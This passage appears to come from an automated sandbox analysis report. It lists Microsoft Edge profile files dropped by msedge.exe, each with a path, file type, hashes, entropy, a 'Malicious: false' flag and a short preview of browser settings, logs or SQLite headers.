SHA-512:	F10D496AE75DB5BA412BD9F17BF0C7DA7632DB92A3FABF7F24071E40F5759C6A875AD8F3A72BAD149DA58B3DA3B816077DF125D0D9F3544ADBA68C66353D206C
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	111
Entropy (8bit):	4.718418993774295
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKqk1Yn:YHpoeS7PMVKJTnMRKXk1Yn
MD5:	807419CA9A4734FEAF8D8563A003B048
SHA1:	A723C7D60A65886FFA068711F1E900CCC85922A6
SHA-256:	AA10BF07B0D265BED28F2A475F3564D8DDB5E4D4FFEE0AB6F3A0CC564907B631
SHA-512:	F10D496AE75DB5BA412BD9F17BF0C7DA7632DB92A3FABF7F24071E40F5759C6A875AD8F3A72BAD149DA58B3DA3B816077DF125D0D9F3544ADBA68C66353D206C
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF3d1a9.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Trust Tokens

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 9, cookie 0x7, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	0.3886039372934488
Encrypted:	false
SSDEEP:	24:TLqEeWOT/kIAoDJ84l5lDlnDMlRlyKDtM6UwccWfp15fBIe:T2EeWOT/nDtX5nDOvyKDhU1cSB
MD5:	DEA619BA33775B1BAEEC7B32110CB3BD
SHA1:	949B8246021D004B2E772742D34B2FC8863E1AAA
SHA-256:	3669D76771207A121594B439280A67E3A6B1CBAE8CE67A42C8312D33BA18854B
SHA-512:	7B9741E0339B30D73FACD4670A9898147BE62B8F063A59736AFDDC83D3F03B61349828F2AE88F682D42C177AE37E18349FD41654AEBA50DDF10CD6DC70FA5879
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...}.....$.X..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\a967e98c-5741-46a6-9bfe-f668f5e6a0dc.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	80
Entropy (8bit):	3.4921535629071894
Encrypted:	false
SSDEEP:	3:S8ltHlS+QUl1ASEGhTFljl:S85aEFljl
MD5:	69449520FD9C139C534E2970342C6BD8
SHA1:	230FE369A09DEF748F8CC23AD70FD19ED8D1B885
SHA-256:	3F2E9648DFDB2DDB8E9D607E8802FEF05AFA447E17733DD3FD6D933E7CA49277
SHA-512:	EA34C39AEA13B281A6067DE20AD0CDA84135E70C97DB3CDD59E25E6536B19F7781E5FC0CA4A11C3618D43FC3BD3FBC120DD5C1C47821A248B8AD351F9F4E6367
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	426
Entropy (8bit):	5.258810758622597
Encrypted:	false
SSDEEP:	12:ko9vVaYebvqBZFUt8/oG/+/o5F5OaYebvqBaJ:kGVaYebvyg8/cUXOaYebvL
MD5:	1D984FB55D983B13F5F103426E5362D8
SHA1:	4ADFD71EB038B3855E5269E482A1FB3D60732F1D
SHA-256:	0F5FA11854BDBF5797F5D683E0C4A63A67B6A1791BB0F3A590C0D13546A21069
SHA-512:	2F8C232AEB56E597774BA7CA8C1517FDE8328982580A192EA644FF862D38EC78AB62B079EA8B10357DD25B354A50A6AB90505CE43BAAAA18280AC849B902A58A
Malicious:	false
Preview:	2024/11/20-08:43:46.371 1984 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/11/20-08:43:46.373 1984 Recovering log #3.2024/11/20-08:43:46.376 1984 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	426
Entropy (8bit):	5.258810758622597
Encrypted:	false
SSDEEP:	12:ko9vVaYebvqBZFUt8/oG/+/o5F5OaYebvqBaJ:kGVaYebvyg8/cUXOaYebvL
MD5:	1D984FB55D983B13F5F103426E5362D8
SHA1:	4ADFD71EB038B3855E5269E482A1FB3D60732F1D
SHA-256:	0F5FA11854BDBF5797F5D683E0C4A63A67B6A1791BB0F3A590C0D13546A21069
SHA-512:	2F8C232AEB56E597774BA7CA8C1517FDE8328982580A192EA644FF862D38EC78AB62B079EA8B10357DD25B354A50A6AB90505CE43BAAAA18280AC849B902A58A
Malicious:	false
Preview:	2024/11/20-08:43:46.371 1984 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/11/20-08:43:46.373 1984 Recovering log #3.2024/11/20-08:43:46.376 1984 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.164789379682925
Encrypted:	false
SSDEEP:	6:HEx0+q2PN723oH+TcwtpIFUt8YExzAAZmw+YExzAwVkwON723oH+Tcwta/WLJ:kLvVaYebmFUt8/aA/+/ao5OaYebaUJ
MD5:	588D9A3A22669A54EF6E767A40571CA4
SHA1:	38ED29396F64F441A4A29568C1065761A10164E1
SHA-256:	A2C77E97CFACB635C8D891AD7EADF288E5A1698DC7E14D538BC325FCDB7A3F69
SHA-512:	AF498AA3F0513840573EC602B195077FA73048485128E8BA18EFBA00F4634D5508E884F1D98F400F1B79EFE8ED6747FCA1B0330DE2FA2D88236E4B9035D0F0DF
Malicious:	false
Preview:	2024/11/20-08:43:27.426 1e18 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/11/20-08:43:27.427 1e18 Recovering log #3.2024/11/20-08:43:27.427 1e18 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.164789379682925
Encrypted:	false
SSDEEP:	6:HEx0+q2PN723oH+TcwtpIFUt8YExzAAZmw+YExzAwVkwON723oH+Tcwta/WLJ:kLvVaYebmFUt8/aA/+/ao5OaYebaUJ
MD5:	588D9A3A22669A54EF6E767A40571CA4
SHA1:	38ED29396F64F441A4A29568C1065761A10164E1
SHA-256:	A2C77E97CFACB635C8D891AD7EADF288E5A1698DC7E14D538BC325FCDB7A3F69
SHA-512:	AF498AA3F0513840573EC602B195077FA73048485128E8BA18EFBA00F4634D5508E884F1D98F400F1B79EFE8ED6747FCA1B0330DE2FA2D88236E4B9035D0F0DF
Malicious:	false
Preview:	2024/11/20-08:43:27.426 1e18 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/11/20-08:43:27.427 1e18 Recovering log #3.2024/11/20-08:43:27.427 1e18 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Web Data

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 91, cookie 0x37, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.2678499111809098
Encrypted:	false
SSDEEP:	384:L/2qOB1nxCkM0SA1LyKOMq+8iP5GDHP/0jMVum+:Kq+n0J091LyKOMq+8iP5GLP/07
MD5:	3A3C8E714EE8DFAF110B0904727AEDC3
SHA1:	8C22C5D77F37B46B045B1528D6D1B3E777674130
SHA-256:	28B776A2625743D9B2BE901159F71CED564D62BF72E18289BE3695F06D02405C
SHA-512:	04AAB0FEF78C6FE5F9A2A727D37A383F87E208EFD4DF8C58919938A1E85DD93992A251ACA26DC9F50D8E25730CE19050ADC829F39FD41179981A1B0CE52BAA66
Malicious:	false
Preview:	SQLite format 3......@ .......[...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\WebStorage\QuotaManager

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 10, cookie 0x7, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.467048049662445
Encrypted:	false
SSDEEP:	48:Tnj7dojKsKmjKZKAsjZNOjAhts3N8g1j3UcB0Bi:v7doKsKuKZKlZNmu46yjx0I
MD5:	625B6869765C48E450306E642A5EC95F
SHA1:	39FD7469713AB18C0B4D6D48EEA3DA2BC78C0851
SHA-256:	5A8389E481604A79D799E9559779F238A58AF8C1AF1D01BC652A234B3BBA00FA
SHA-512:	F86156799CC201888B05FABDCE4D47E70E53C021B46F081C425B9DFA3F4347720ED139F4BF3D3AA59CDFF27FC79D7A9B0789692706E48742B071BEC74ABB46E9
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.......w..g...........M...w..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\arbitration_service_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3951), with CRLF line terminators
Category:	dropped
Size (bytes):	11755
Entropy (8bit):	5.190465908239046
Encrypted:	false
SSDEEP:	192:hH4vrmqRBB4W4PoiUDNaxvR5FCHFcoaSbqGEDI:hH4vrmUB6W4jR3GaSbqGEDI
MD5:	07301A857C41B5854E6F84CA00B81EA0
SHA1:	7441FC1018508FF4F3DBAA139A21634C08ED979C
SHA-256:	2343C541E095E1D5F202E8D2A0807113E69E1969AF8E15E3644C51DB0BF33FBF
SHA-512:	00ADE38E9D2F07C64648202F1D5F18A2DFB2781C0517EAEBCD567D8A77DBB7CB40A58B7C7D4EC03336A63A20D2E11DD64448F020C6FF72F06CA870AA2B4765E0
Malicious:	false
Preview:	{.. "DefaultCohort": {.. "21f3388b-c2a5-4791-8f6e-a4cad6d17f4f.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.BingHomePage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Covid.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Finance.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Jobs.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.KnowledgeCard.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Local.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NTP3PCLICK.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NotifySearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Recipe.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.SearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Sports.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Travel.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Weather.Bubble": 1,.. "2cb2db96-3bd0-403e-abe2-9269b3761041.Bubble": 1,.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\c84ebd69-2e16-4297-ad3e-fbfd6b9a5cc8.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	24853
Entropy (8bit):	5.56527233150775
Encrypted:	false
SSDEEP:	768:SuQq8DWt8W5w7Tf4RU8F1+UoAYDCx9Tuqh0VfUC9xbog/OVPEcIPMJbrwXTp9tul:SdrDS8Wa7TfgUu1ja9p4wPta
MD5:	4EDB3606668AD93C34389D3361B5D55F
SHA1:	3E97432AD02CE090476E591D727B8B461121C8CB
SHA-256:	9A9F62AE4EFBB3664AA286A2C7A6D45EA073DC918BB736A0D5D85EAA2B3B6382
SHA-512:	63D0173B4DEAC473792020329047ED0E64D8E7A6777B6B25ECAE743EF2584075162DA4FA5E01408283CCB6C5C092CE50EA74E82D4F9DA9C7AAFB7EB13C2B9110
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376583807412230","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376583807412230","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\d684d4e1-dc69-479f-9417-5c95644de6f6.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17628), with no line terminators
Category:	dropped
Size (bytes):	17630
Entropy (8bit):	5.483883860712896
Encrypted:	false
SSDEEP:	384:stYPGQSu4lsfVZCDeQ61eGggrbGKQwT38:s6OXutPCL6pbG5I8
MD5:	16A5584E76F2814FC97FD4471290382C
SHA1:	A88F53C7A2126A03CEB6EE102C6CF1DDE3EDCD30
SHA-256:	7237C74BE301B92A4CAE3CB8B1D21D5E169BB0A7D0C09D37988942EC848D6507
SHA-512:	57E61FB0D3F2F0BEDE588BB8D74A1ABD9BA00FFAC3CD333E49DE33821A1CD5C0343C672E49D0C5D496CD9CF83A8CB52F4F5E8DDF086283073B139F583E51C492
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376583808094342","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\databases\Databases.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x4, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.3410017321959524
Encrypted:	false
SSDEEP:	12:TLiqi/nGb0EiDFIlTSFbyrKZb9YwFOqAyl+FxOUwa5qgufTJpbZ75fOSG:TLiMNiD+lZk/Fj+6UwccNp15fBG
MD5:	98643AF1CA5C0FE03CE8C687189CE56B
SHA1:	ECADBA79A364D72354C658FD6EA3D5CF938F686B
SHA-256:	4DC3BF7A36AB5DA80C0995FAF61ED0F96C4DE572F2D6FF9F120F9BC44B69E444
SHA-512:	68B69FCE8EF5AB1DDA2994BA4DB111136BD441BC3EFC0251F57DC20A3095B8420669E646E2347EAB7BAF30CACA4BCF74BD88E049378D8DE57DE72E4B8A5FF74B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....P....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-shm

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.10273955246116881
Encrypted:	false
SSDEEP:	12:+lZZ+lZZ1BspEjVl/PnnnnnnnnnnnvoQ/Eou:+lZ8lZLCoPnnnnnnnnnnnv1j
MD5:	5D00C1D38849D34828A6DB1F9979CCF2
SHA1:	86EC198B217466BAAA6670A1F1633B23A27AB801
SHA-256:	A3C199029D8FAFF966A8B52D0E7F9EB634AD885AFD729EFDBB49BFB18B9F0892
SHA-512:	555E9A12C9FE2AE996714072DE3B58CC2230B6AA51164D449F9D3B0986608B143F608DD7D3D16E70548864895240196A8C5DA90E0D601C63770DBEE6FD66BD18
Malicious:	false
Preview:	..-.............M..........x.@.[$J...V......]...-.............M..........x.@.[$J...V......].........I...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-wal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	317272
Entropy (8bit):	0.8895130660920957
Encrypted:	false
SSDEEP:	384:x2gi84RTtqTB1TBWTpTTxoT0IcTo5Tnu1ZWTg6v8myIyaqyhyUbyBxyq6:CnRDs
MD5:	8A2B0150B837CF62590F86AA3EE5A7AF
SHA1:	CF16FC2EE422F4638C67D8E21DA6B698541A1196
SHA-256:	64C665BAE2F1ECC74CD50F36AA3C9689CE4EBF2CFD34BF535A6C01D9E011AFC5
SHA-512:	0A30EFFB92E4A42248962E54032F5259C0B8FA91F520546B4488E797648D5B93684E4433935CEC8D77833C52B1EDE95DE80C20FA8C18DE8EADD29B2E5665FCD8
Malicious:	false
Preview:	7....-..........$J...V....M7'.z.........$J...V..h.IR..4.SQLite format 3......@ ..........................................................................j.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	694
Entropy (8bit):	3.536639028506407
Encrypted:	false
SSDEEP:	12:p9lc8QyOuuuuuuuuuuuuuuuuuuuuuu9llQNu8j:pHaywlQV
MD5:	38F0A51DD4CB570E17A41C01A166BBEA
SHA1:	48243BF3B13E026EA38445DA732369950A3E7BD6
SHA-256:	42F6AFB754B99CA602E072C3E716DE15A53A1274BDBBE2607A56C3C3214035B0
SHA-512:	E710EC828A7E77E775F9A75784C3A55E41A4300DD7D677CE573FDD5B33CDAC32DA1F5C9858BB2764972EDE60A56F6E78A18B3C22C360176A2D9B2E0730DC924D
Malicious:	false
Preview:	A..r.................20_1_1...1.,U.................20_1_1...1..$.0................39_config..........6.....n ...1u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=................C..;...............#38_h.......6.Z..W.F.....Nx......Nx...........V.e....................0................39_config..........6.....n ....1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.153636306981008
Encrypted:	false
SSDEEP:	6:HE874q2PN723oH+TcwtfrK+IFUt8YE87JZmw+YE87DkwON723oH+TcwtfrUeLJ:k8cvVaYeb23FUt8/8N/+/8/5OaYeb3J
MD5:	0A2172143CD80D1A24267D777965DF3D
SHA1:	13BA0A4DDF8819608052885598744E1AF839406D
SHA-256:	982B987C7B877E92A4D7EF304577906B65AAE20A628B8D430692A9AC1B7C86B1
SHA-512:	93BA635DBF9DF841E126731509B647E9978F3F7B3D9974984AFC4FBE773F8862805047BC3A8E855AD7A9FC01D1BE43E056ED8B1749E6A87EDAB348920404B2FF
Malicious:	false
Preview:	2024/11/20-08:43:28.154 1e20 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/11/20-08:43:28.154 1e20 Recovering log #3.2024/11/20-08:43:28.154 1e20 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.153636306981008
Encrypted:	false
SSDEEP:	6:HE874q2PN723oH+TcwtfrK+IFUt8YE87JZmw+YE87DkwON723oH+TcwtfrUeLJ:k8cvVaYeb23FUt8/8N/+/8/5OaYeb3J
MD5:	0A2172143CD80D1A24267D777965DF3D
SHA1:	13BA0A4DDF8819608052885598744E1AF839406D
SHA-256:	982B987C7B877E92A4D7EF304577906B65AAE20A628B8D430692A9AC1B7C86B1
SHA-512:	93BA635DBF9DF841E126731509B647E9978F3F7B3D9974984AFC4FBE773F8862805047BC3A8E855AD7A9FC01D1BE43E056ED8B1749E6A87EDAB348920404B2FF
Malicious:	false
Preview:	2024/11/20-08:43:28.154 1e20 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/11/20-08:43:28.154 1e20 Recovering log #3.2024/11/20-08:43:28.154 1e20 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	816
Entropy (8bit):	4.0647916882227655
Encrypted:	false
SSDEEP:	12:G0nYUtTNop//z32m5t/yVf9HqlIZfkBA//DtKhKg+rOyBrgxvB1ySxs:G0nYUtypD32m3yWlIZMBA5NgKIvB8Sxs
MD5:	3BE72D8D40752B3A97028FDB2931FABA
SHA1:	A27EA4726857A948F0A4B074062B674469A9A371
SHA-256:	3C18553C8C3F7E801855F3579AC57F3C156D783BBA27FB35C6D2FB6CB89BD902
SHA-512:	8EBD4D6980BB7796615217E72BC65953C920B68B9259341CD52858C1E889EC90339E2A304FE0C971D6C6EF9AFC4A00CFB3E5CC89C7B2DF8737A0C7EC241BDADC
Malicious:	false
Preview:	.h.6.................__global... .t...................__global... .9..b.................33_..........................33_........v.................21_.....vuNX.................21_.....<...................20_.....X...................20_.....W.J+.................19_......qY.................18_.....'}2..................37_.......c..................38_......i...................39_.....Owa..................20_.....4.9..................20_.....B.I..................19_..........................18_.....2.1..................37_..........................38_......=.%.................39_.....p.j..................9_.....JJ...................9_.....\|.&R.................__global... ./....................__global... ..T...................__global... ...G..................__global... ......................__global... .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	346
Entropy (8bit):	5.1576717586322784
Encrypted:	false
SSDEEP:	6:HE8eOq2PN723oH+TcwtfrzAdIFUt8YE80kZmw+YE8/PEkwON723oH+TcwtfrzILJ:k8rvVaYeb9FUt8/8D/+/8XE5OaYeb2J
MD5:	4866CAA2C65FCB1904649BB110B326C9
SHA1:	AE1B07724BB361E0F14A48FD2F60B0C54F2A3583
SHA-256:	01B74C9ADBDF1EE45CE50262D11320F7DF7B46FA83DEC4962F0D1F1EE422545D
